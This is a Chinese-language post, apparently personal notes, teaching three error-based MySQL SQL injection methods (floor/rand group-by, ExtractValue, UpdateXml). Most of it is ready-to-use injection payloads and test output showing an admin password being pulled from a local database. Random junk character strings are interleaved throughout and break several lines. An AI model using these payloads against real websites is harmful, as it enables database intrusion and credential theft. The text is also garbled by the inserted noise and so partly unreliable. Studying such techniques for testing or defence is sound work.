关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
0 v& ~& x( i6 ~1 \实际测试环境：
! w5 o! M" j. k1 [3 S​

mysql> show tables;
+----------------+
" [& f/ {& l& B) T| Tables_in_test |
+----------------+
0 }3 l4 C- S6 v% ]| admin          |
| article        |
- o& n: {6 ]! E# `+----------------+
" v6 y! E3 _8 r2 Y$ p; o+ J, Q
  ?0 w2 S( e# q$ S2 E* [" p

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
9 U# [( z4 R7 v  h1 C0 ]# d. G| pass  | varchar(50)      | NO   |     | NULL    |                |
2 Y6 Z3 w$ ]- w. D, p5 ^+-------+------------------+------+-----+---------+----------------+
1 W" w" E: C5 D3 l5 T
3 Y, W3 L5 N; @" F5 g
* ?9 \6 D: W, W
* |0 u; ]4 T, kmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
: }5 @' g- B% U* L+---------+------------------+------+-----+---------+----------------+
* n% Y0 Q$ g+ i( N/ v| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
$ P& }: ~- j- i4 z| title   | varchar(50)      | NO   |     | NULL    |                |
! W3 C; A; H5 s  l. s- d| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
1 R( j) u" @" S4 K3 x9 z2 k8 F可以通过如下一些利用代码

% Z2 U" Y* D2 A' p, m
, `1 }' {0 E4 z9 y$ {. W& ?+ sand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
8 t/ G: P% M# X3 e2 {; ]from information_schema.tables group by x)a);


8 B, f, A, O$ {4 Yand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
/ x% ]% X9 b7 {& I首先进行正常查询：

mysql> select * from article where id = 1;
8 `* P2 x" n( o* l$ R+----+-------+---------+
8 c  Q+ y  s" Y" G! z/ W| id | title | content |
& q: y1 X1 z. u) p/ k1 v+----+-------+---------+
|  1 | test  | do it   |
) q% z6 Y( U4 f5 W" R+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
2 B' s% U: N* y; w; }
3 Q7 Q4 _- j6 U
& f1 @, ~0 X3 j  j5 Fmysql> select * from article where id = 1 and (select 1 from
: j, L) X( n7 ?" z, x(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
. T. P5 `' O  Y& C- Y& `2 A- y例如我们需要查询管理员用户名和密码：
Method1:

2 K: G$ i- }, X/ S+ Q7 b* p- j! S
mysql> select * from article where id = 1 and (select 1 from
! O" t' ~5 g/ {4 ?8 P(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
9 {3 ]! R/ x9 r3 B/ ~ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 W: w# S' Q6 W* h1 JMethod2:


4 o( ~5 H0 t. omysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
! a7 \5 K9 _9 F) Dfloor(rand(0)*2)));
5 G9 `$ n5 Y, l& d  a% s8 KERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
9 \) y6 N" H, U% ~5 l: A测试语句如下

- P1 f- d! N+ r- `2 v
+ T' B2 o1 r7 W) I' ]and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
) r3 O( s5 u- q2 x# b6 @" G实际测试过程
! P+ J: y8 R3 W" R. r
1 `) M- f3 O% h8 t
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
. i! |; w2 ]# y) l/ b(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
( V. S& e" W# Q9 l6 Z3、UpdateXml
测试语句
% N' {% R7 [# ]# i: i
/ Z+ u9 t9 \- Y* h& S+ s
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
  S8 r; J5 B$ ]" U, s3 A4 J+ U( g3 L

. }' G9 \+ b0 n+ }) vmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 V8 m# J+ B. B4 j* r(select pass from admin limit 1),0x5e24),1));
& u9 o3 x& N+ H/ ]ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
( o; y+ u% T# L/ @# l  Y9 a/ Q" qAll, thanks foreign guys.

​
4 g. X  e8 B! \; q; S# n9 C5 e